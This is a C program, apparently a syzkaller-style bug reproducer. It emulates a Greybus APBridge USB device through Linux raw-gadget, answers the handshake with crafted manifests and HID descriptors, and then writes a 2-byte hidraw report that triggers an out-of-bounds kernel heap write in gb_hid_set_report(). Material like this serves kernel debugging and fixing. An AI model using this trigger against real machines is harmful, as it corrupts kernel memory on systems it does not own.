/*
 * 211-kasan-slab-out-of-bounds-write-in-gb-hid-raw-request
 */
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <time.h>
#include <unistd.h>

#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>

#define GREYBUS_HEADER_SIZE		8
#define GREYBUS_TYPE_RESPONSE_FLAG	0x80
#define GREYBUS_SVC_CPORT		0

#define GB_SVC_TYPE_PROTOCOL_VERSION	0x01
#define GB_SVC_TYPE_SVC_HELLO		0x02
#define GB_SVC_TYPE_CONN_CREATE		0x07
#define GB_SVC_TYPE_DME_PEER_GET	0x09
#define GB_SVC_TYPE_DME_PEER_SET	0x0a
#define GB_SVC_TYPE_INTF_SET_PWRM	0x10
#define GB_SVC_TYPE_MODULE_INSERTED	0x1f
#define GB_SVC_TYPE_INTF_VSYS_ENABLE	0x21
#define GB_SVC_TYPE_INTF_REFCLK_ENABLE	0x23
#define GB_SVC_TYPE_INTF_REFCLK_DISABLE	0x24
#define GB_SVC_TYPE_INTF_UNIPRO_ENABLE	0x25
#define GB_SVC_TYPE_INTF_ACTIVATE	0x27
#define GB_SVC_TYPE_INTF_RESUME		0x28

#define GB_CONTROL_TYPE_VERSION			0x01
#define GB_CONTROL_TYPE_GET_MANIFEST_SIZE	0x03
#define GB_CONTROL_TYPE_GET_MANIFEST		0x04
#define GB_CONTROL_TYPE_BUNDLE_SUSPEND		0x0f
#define GB_CONTROL_TYPE_BUNDLE_RESUME		0x10
#define GB_CONTROL_TYPE_BUNDLE_ACTIVATE		0x12
#define GB_CONTROL_TYPE_INTF_SUSPEND_PREPARE	0x13

#define GB_HID_TYPE_GET_DESC		0x02
#define GB_HID_TYPE_GET_REPORT_DESC	0x03

#define GB_APB_REQUEST_CPORT_COUNT	0x04
#define GB_APB_REQUEST_ARPC_RUN		0x12

#define AP_INTERFACE_ID			1
#define MODULE_INTERFACE_ID		2
#define MODULE_CPORT_HID		1	/* remote cport our manifest uses */

/* the three bulk endpoints es2_ap_probe() insists on, in descriptor order */
#define EP_ADDR_CPORT_IN		0x81
#define EP_ADDR_ARPC_IN			0x86
#define EP_ADDR_CPORT_OUT		0x02

static int raw_gadget_fd = -1;
static int cport_in_endpoint = -1, arpc_in_endpoint = -1, cport_out_endpoint = -1;

/* AP-side cport the SVC bound to our HID cport; -1 until CONN_CREATE says so */
static int hid_ap_cport = -1;
static uint16_t next_operation_id = 1;

static void die(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	_exit(1);
}

static void msleep(int milliseconds)
{
	struct timespec duration = { milliseconds / 1000,
				     (long)(milliseconds % 1000) * 1000000L };
	nanosleep(&duration, NULL);
}

/*
 * One helper for all four raw-gadget transfers: EP0_WRITE / EP0_READ and
 * EP_WRITE / EP_READ share the usb_raw_ep_io layout and differ only in the
 * direction the payload travels.
 */
static int raw_gadget_ep_io(unsigned long ioctl_request, int endpoint,
			    void *data, uint32_t length, int is_read)
{
	uint8_t buffer[sizeof(struct usb_raw_ep_io) + 4096];
	struct usb_raw_ep_io *io = (void *)buffer;
	int ret;

	if (length > 4096)
		length = 4096;
	io->ep = endpoint;
	io->flags = 0;
	io->length = length;
	if (!is_read && length)
		memcpy(io->data, data, length);
	ret = ioctl(raw_gadget_fd, ioctl_request, io);
	if (is_read && ret > 0 && data)
		memcpy(data, io->data, ret < (int)length ? ret : length);
	return ret;
}

#define ep0_write(data, length) \
	raw_gadget_ep_io(USB_RAW_IOCTL_EP0_WRITE, 0, (void *)(data), (length), 0)
#define ep0_read(data, length) \
	raw_gadget_ep_io(USB_RAW_IOCTL_EP0_READ, 0, (data), (length), 1)
#define ep_write(endpoint, data, length) \
	raw_gadget_ep_io(USB_RAW_IOCTL_EP_WRITE, (endpoint), (void *)(data), (length), 0)
#define ep_read(endpoint, data, length) \
	raw_gadget_ep_io(USB_RAW_IOCTL_EP_READ, (endpoint), (data), (length), 1)

static int enable_bulk_endpoint(uint8_t address)
{
	struct usb_endpoint_descriptor descriptor = {
		.bLength = USB_DT_ENDPOINT_SIZE,
		.bDescriptorType = USB_DT_ENDPOINT,
		.bEndpointAddress = address,
		.bmAttributes = USB_ENDPOINT_XFER_BULK,
		.wMaxPacketSize = 512,
	};

	return ioctl(raw_gadget_fd, USB_RAW_IOCTL_EP_ENABLE, &descriptor);
}

/* the es2 driver binds 18d1:1eaf ("APBridge") */
static struct usb_device_descriptor apbridge_device_descriptor = {
	.bLength = sizeof(struct usb_device_descriptor),
	.bDescriptorType = USB_DT_DEVICE,
	.bcdUSB = 0x0200,
	.bMaxPacketSize0 = 64,
	.idVendor = 0x18d1,
	.idProduct = 0x1eaf,
	.bcdDevice = 0x0100,
	.bNumConfigurations = 1,
};

static const uint8_t apbridge_config_descriptor[] = {
	9, USB_DT_CONFIG, (9 + 9 + 7 * 3) & 0xff, 0, 1, 1, 0, 0xa0, 0x32,
	9, USB_DT_INTERFACE, 0, 0, 3, 0xff, 0xff, 0xff, 0,
	7, USB_DT_ENDPOINT, EP_ADDR_CPORT_IN, USB_ENDPOINT_XFER_BULK, 0x00, 0x02, 0,
	7, USB_DT_ENDPOINT, EP_ADDR_ARPC_IN, USB_ENDPOINT_XFER_BULK, 0x00, 0x02, 0,
	7, USB_DT_ENDPOINT, EP_ADDR_CPORT_OUT, USB_ENDPOINT_XFER_BULK, 0x00, 0x02, 0,
};

/* the module-side manifest: one interface, one HID bundle, one cport */
static const uint8_t hid_module_manifest[] = {
	28, 0, 0x00, 0x01,			/* size, version 0.1 */
	8, 0, 0x01 /* INTERFACE */, 0,   0, 0, 0, 0,
	8, 0, 0x03 /* BUNDLE */, 0,      1, 0x05 /* class HID */, 0, 0,
	8, 0, 0x04 /* CPORT */, 0,       MODULE_CPORT_HID, 0, 1, 0x05,
};

/*
 * One vendor-defined output report and nothing else. An input or feature
 * report would make gb_hid_start() issue a GB_HID_TYPE_GET_REPORT per report
 * before the hidraw node appears; with neither, that round trip never happens.
 */
static const uint8_t hid_report_descriptor[] = {
	0x06, 0x00, 0xff,	/* Usage Page (Vendor Defined 0xff00)	*/
	0x09, 0x01,		/* Usage (0x01)				*/
	0xa1, 0x01,		/* Collection (Application)		*/
	0x09, 0x02,		/*   Usage (0x02)			*/
	0x15, 0x00,		/*   Logical Minimum (0)		*/
	0x26, 0xff, 0x00,	/*   Logical Maximum (255)		*/
	0x75, 0x08,		/*   Report Size (8)			*/
	0x95, 0x08,		/*   Report Count (8)			*/
	0x91, 0x02,		/*   Output (Data,Var,Abs)		*/
	0xc0,			/* End Collection			*/
};

static void greybus_send(uint8_t hd_cport, uint8_t type, uint16_t operation_id,
			 const void *payload, uint16_t payload_len)
{
	uint8_t buffer[2048];
	uint16_t size = GREYBUS_HEADER_SIZE + payload_len;

	if (size > sizeof(buffer))
		return;
	buffer[0] = size & 0xff;
	buffer[1] = size >> 8;
	buffer[2] = operation_id & 0xff;
	buffer[3] = operation_id >> 8;
	buffer[4] = type;
	buffer[5] = 0;		/* result */
	buffer[6] = hd_cport;	/* es2 packs the cport id into pad[0] */
	buffer[7] = 0;
	if (payload_len)
		memcpy(buffer + GREYBUS_HEADER_SIZE, payload, payload_len);
	ep_write(cport_in_endpoint, buffer, size);
}

static void greybus_send_request(uint8_t hd_cport, uint8_t type,
				 const void *payload, uint16_t payload_len)
{
	greybus_send(hd_cport, type, next_operation_id++, payload, payload_len);
}

static void greybus_send_response(uint8_t hd_cport, uint16_t operation_id,
				  uint8_t type, const void *payload,
				  uint16_t payload_len)
{
	greybus_send(hd_cport, type | GREYBUS_TYPE_RESPONSE_FLAG, operation_id,
		     payload, payload_len);
}

static void handle_svc_request(uint16_t operation_id, uint8_t type,
			       const uint8_t *payload, int payload_len)
{
	uint8_t response[8] = { 0 };
	uint16_t response_len = 0;

	switch (type) {
	case GB_SVC_TYPE_CONN_CREATE:
		/* intf1, cport1(le16), intf2, cport2(le16), tc, flags */
		if (payload_len >= 8 &&
		    (payload[4] | (payload[5] << 8)) == MODULE_CPORT_HID)
			hid_ap_cport = payload[1] | (payload[2] << 8);
		break;
	case GB_SVC_TYPE_DME_PEER_GET: {
		/*
		 * gb_interface_read_dme() rejects any DDBL1_MANUFACTURERID
		 * other than TOSHIBA_DMID, so 0x5003 must read back 0x126.
		 * GMP_INIT_STATUS (0x6101) must be nonzero and its top byte is
		 * the init status; 0x02 selects the ES3-bootrom quirk set.
		 * Every other attribute the AP reads is cosmetic but nonzero.
		 */
		uint16_t attribute = payload_len >= 3 ?
			(payload[1] | (payload[2] << 8)) : 0;
		uint32_t value = attribute == 0x5003 ? 0x0126 :
				 attribute == 0x6101 ? 0x02000000 : 1;

		response[2] = value;		/* [0..1] is result_code == 0 */
		response[3] = value >> 8;
		response[4] = value >> 16;
		response[5] = value >> 24;
		response_len = 6;
		break;
	}
	case GB_SVC_TYPE_DME_PEER_SET:
		response_len = 2;		/* le16 result_code */
		break;
	case GB_SVC_TYPE_INTF_ACTIVATE:
		response[1] = 0x03;		/* GB_SVC_INTF_TYPE_GREYBUS */
		response_len = 2;		/* status, intf_type */
		break;
	case GB_SVC_TYPE_INTF_VSYS_ENABLE:
	case GB_SVC_TYPE_INTF_REFCLK_ENABLE:
	case GB_SVC_TYPE_INTF_REFCLK_DISABLE:
	case GB_SVC_TYPE_INTF_UNIPRO_ENABLE:
	case GB_SVC_TYPE_INTF_SET_PWRM:
	case GB_SVC_TYPE_INTF_RESUME:
		response_len = 1;		/* bare status byte */
		break;
	default:
		break;			/* device-id, route-create, ping, ... */
	}
	greybus_send_response(GREYBUS_SVC_CPORT, operation_id, type,
			      response, response_len);
}

static void handle_control_request(uint8_t hd_cport, uint16_t operation_id,
				   uint8_t type)
{
	uint8_t response[2] = { 0 };
	const uint8_t *payload = response;
	uint16_t payload_len = 0;

	switch (type) {
	case GB_CONTROL_TYPE_VERSION:
		response[1] = 1;		/* major 0, minor 1 */
		payload_len = 2;
		break;
	case GB_CONTROL_TYPE_GET_MANIFEST_SIZE:
		response[0] = sizeof(hid_module_manifest);
		payload_len = 2;
		break;
	case GB_CONTROL_TYPE_GET_MANIFEST:
		payload = hid_module_manifest;
		payload_len = sizeof(hid_module_manifest);
		break;
	case GB_CONTROL_TYPE_BUNDLE_SUSPEND:
	case GB_CONTROL_TYPE_BUNDLE_RESUME:
	case GB_CONTROL_TYPE_BUNDLE_ACTIVATE:
	case GB_CONTROL_TYPE_INTF_SUSPEND_PREPARE:
		payload_len = 1;		/* bare status byte */
		break;
	default:
		break;			/* connected, disconnected, ... */
	}
	greybus_send_response(hd_cport, operation_id, type, payload, payload_len);
}

static void handle_hid_request(uint8_t hd_cport, uint16_t operation_id,
			       uint8_t type)
{
	uint8_t descriptor_response[10] = { 0 };
	const uint8_t *payload = descriptor_response;
	uint16_t payload_len = 0;

	switch (type) {
	case GB_HID_TYPE_GET_DESC:
		descriptor_response[0] = 10;				/* bLength */
		descriptor_response[1] = sizeof(hid_report_descriptor);	/* wReportDescLength */
		descriptor_response[3] = 0x11;				/* bcdHID 0x0111 */
		descriptor_response[4] = 0x01;
		descriptor_response[5] = 0x02;				/* wProductID */
		descriptor_response[7] = 0x01;				/* wVendorID */
		payload_len = 10;
		break;
	case GB_HID_TYPE_GET_REPORT_DESC:
		payload = hid_report_descriptor;
		payload_len = sizeof(hid_report_descriptor);
		break;
	default:
		break;			/* power on/off, ... */
	}
	greybus_send_response(hd_cport, operation_id, type, payload, payload_len);
}

static void *cport_out_reader_thread(void *unused)
{
	uint8_t buffer[2048];
	uint8_t svc_version[2] = { 0x00, 0x01 };

	/* kick the SVC handshake off */
	greybus_send_request(GREYBUS_SVC_CPORT, GB_SVC_TYPE_PROTOCOL_VERSION,
			     svc_version, 2);

	for (;;) {
		int nbytes = ep_read(cport_out_endpoint, buffer, sizeof(buffer));
		uint16_t operation_id;
		uint8_t type, hd_cport;

		if (nbytes < GREYBUS_HEADER_SIZE) {
			if (nbytes < 0 && (errno == ESHUTDOWN || errno == ENODEV))
				break;
			if (nbytes < 0)
				msleep(5);
			continue;
		}
		operation_id = buffer[2] | (buffer[3] << 8);
		type = buffer[4];
		hd_cport = buffer[6];

		if (type & GREYBUS_TYPE_RESPONSE_FLAG) {
			/* the only responses we act on chain the SVC handshake */
			if (hd_cport != GREYBUS_SVC_CPORT)
				continue;
			if (type == (GB_SVC_TYPE_PROTOCOL_VERSION |
				     GREYBUS_TYPE_RESPONSE_FLAG)) {
				uint8_t hello[3] = { 0x55, 0x47, AP_INTERFACE_ID };

				greybus_send_request(GREYBUS_SVC_CPORT,
						     GB_SVC_TYPE_SVC_HELLO,
						     hello, 3);
			} else if (type == (GB_SVC_TYPE_SVC_HELLO |
					    GREYBUS_TYPE_RESPONSE_FLAG)) {
				uint8_t module_inserted[4] = {
					MODULE_INTERFACE_ID, 1, 0, 0
				};

				greybus_send_request(GREYBUS_SVC_CPORT,
						     GB_SVC_TYPE_MODULE_INSERTED,
						     module_inserted, 4);
			}
			continue;
		}

		if (hd_cport == GREYBUS_SVC_CPORT)
			handle_svc_request(operation_id, type,
					   buffer + GREYBUS_HEADER_SIZE,
					   nbytes - GREYBUS_HEADER_SIZE);
		else if (hd_cport == hid_ap_cport)
			handle_hid_request(hd_cport, operation_id, type);
		else
			handle_control_request(hd_cport, operation_id, type);
	}
	return NULL;
}

static void handle_ep0_control_request(const struct usb_ctrlrequest *ctrl)
{
	uint8_t data[4096];
	uint16_t wLength = ctrl->wLength;
	int length = -1;

	if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
		switch (ctrl->bRequest) {
		case USB_REQ_GET_DESCRIPTOR:
			if ((ctrl->wValue >> 8) == USB_DT_DEVICE) {
				length = sizeof(apbridge_device_descriptor);
				memcpy(data, &apbridge_device_descriptor, length);
			} else if ((ctrl->wValue >> 8) == USB_DT_CONFIG) {
				length = sizeof(apbridge_config_descriptor);
				memcpy(data, apbridge_config_descriptor, length);
			}
			break;
		case USB_REQ_SET_CONFIGURATION:
			ioctl(raw_gadget_fd, USB_RAW_IOCTL_CONFIGURE, 0);
			cport_in_endpoint = enable_bulk_endpoint(EP_ADDR_CPORT_IN);
			arpc_in_endpoint = enable_bulk_endpoint(EP_ADDR_ARPC_IN);
			cport_out_endpoint = enable_bulk_endpoint(EP_ADDR_CPORT_OUT);
			length = 0;
			break;
		}
	} else if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_VENDOR) {
		if (ctrl->bRequestType & USB_DIR_IN) {
			/* CPORT_COUNT is the only vendor IN request es2 makes */
			if (ctrl->bRequest == GB_APB_REQUEST_CPORT_COUNT) {
				data[0] = 32;	/* plenty; must exceed 17 */
				data[1] = 0;
				length = 2;
			}
		} else {
			memset(data, 0, sizeof(data));
			ep0_read(data, wLength);
			if (ctrl->bRequest == GB_APB_REQUEST_ARPC_RUN &&
			    wLength >= 5) {
				/* echo the le16 ARPC id back, then ARPC_SUCCESS */
				uint8_t arpc_response[3] = { data[0], data[1], 0 };

				ep_write(arpc_in_endpoint, arpc_response, 3);
			}
			return;		/* data stage already consumed */
		}
	}

	if (length < 0) {
		ioctl(raw_gadget_fd, USB_RAW_IOCTL_EP0_STALL, 0);
		return;
	}
	/*
	 * raw-gadget marks a transfer with no IN data stage as "out pending",
	 * so the status stage of a 0-length request is acknowledged with
	 * EP0_READ, not EP0_WRITE.
	 */
	if ((ctrl->bRequestType & USB_DIR_IN) && wLength) {
		if (length > wLength)
			length = wLength;
		ep0_write(data, length);
	} else {
		ep0_read(data, wLength);
	}
}

static void *ep0_control_thread(void *unused)
{
	uint8_t buffer[sizeof(struct usb_raw_event) + 4096];
	struct usb_raw_event *event = (void *)buffer;

	for (;;) {
		event->type = 0;
		event->length = 4096;
		if (ioctl(raw_gadget_fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			if (errno == EINTR)
				continue;
			break;
		}
		if (event->type == USB_RAW_EVENT_CONTROL)
			handle_ep0_control_request(
				(struct usb_ctrlrequest *)event->data);
		else if (event->type == USB_RAW_EVENT_DISCONNECT)
			break;
	}
	return NULL;
}

int main(void)
{
	struct usb_raw_init init;
	struct dirent *udc_entry;
	DIR *udc_dir;
	pthread_t thread;
	unsigned char report[2];
	char *udc_index;
	int hidraw_fd = -1, i;

	/* dummy_hcd numbers its UDCs, so the name must be discovered:
	 * device "dummy_udc.2" belongs to driver "dummy_udc". */
	udc_dir = opendir("/sys/class/udc");
	while (udc_dir && (udc_entry = readdir(udc_dir)) && udc_entry->d_name[0] == '.')
		;
	if (!udc_dir || !udc_entry)
		die("no UDC in /sys/class/udc (dummy_hcd missing?)");
	memset(&init, 0, sizeof(init));
	snprintf((char *)init.device_name, UDC_NAME_LENGTH_MAX, "%s", udc_entry->d_name);
	snprintf((char *)init.driver_name, UDC_NAME_LENGTH_MAX, "%s", udc_entry->d_name);
	closedir(udc_dir);
	udc_index = strrchr((char *)init.driver_name, '.');
	if (udc_index)
		*udc_index = 0;
	init.speed = USB_SPEED_HIGH;

	raw_gadget_fd = open("/dev/raw-gadget", O_RDWR);
	if (raw_gadget_fd < 0)
		die("open(/dev/raw-gadget)");
	if (ioctl(raw_gadget_fd, USB_RAW_IOCTL_INIT, &init) < 0)
		die("USB_RAW_IOCTL_INIT");
	if (ioctl(raw_gadget_fd, USB_RAW_IOCTL_RUN, 0) < 0)
		die("USB_RAW_IOCTL_RUN");

	pthread_create(&thread, NULL, ep0_control_thread, NULL);
	for (i = 0; i < 500 && cport_out_endpoint < 0; i++)
		msleep(10);
	if (cport_in_endpoint < 0 || arpc_in_endpoint < 0 || cport_out_endpoint < 0)
		die("gadget never got configured");

	pthread_create(&thread, NULL, cport_out_reader_thread, NULL);

	/* wait for gb-hid to enumerate the bundle and register a hidraw node */
	for (i = 0; i < 300 && hidraw_fd < 0; i++) {
		hidraw_fd = open("/dev/hidraw0", O_RDWR);
		if (hidraw_fd < 0)
			msleep(100);
	}
	if (hidraw_fd < 0)
		die("no hidraw device appeared");

	/*
	 * Report id 0, 2 bytes. gb_hid_set_report() sizes the greybus request
	 * as sizeof(struct gb_hid_set_report_request) + len - 1, but that
	 * struct ends in a true flexible array, so the payload has room for
	 * only len - 1 report bytes while the memcpy copies len of them.
	 * hidraw_write() rejects anything shorter than 2 bytes, and buf[0]
	 * must equal the report number for gb_hid_raw_request() to take the
	 * HID_REQ_SET_REPORT path.
	 */
	report[0] = 0x00;
	report[1] = 0x41;
	write(hidraw_fd, report, sizeof(report));
	return 0;
}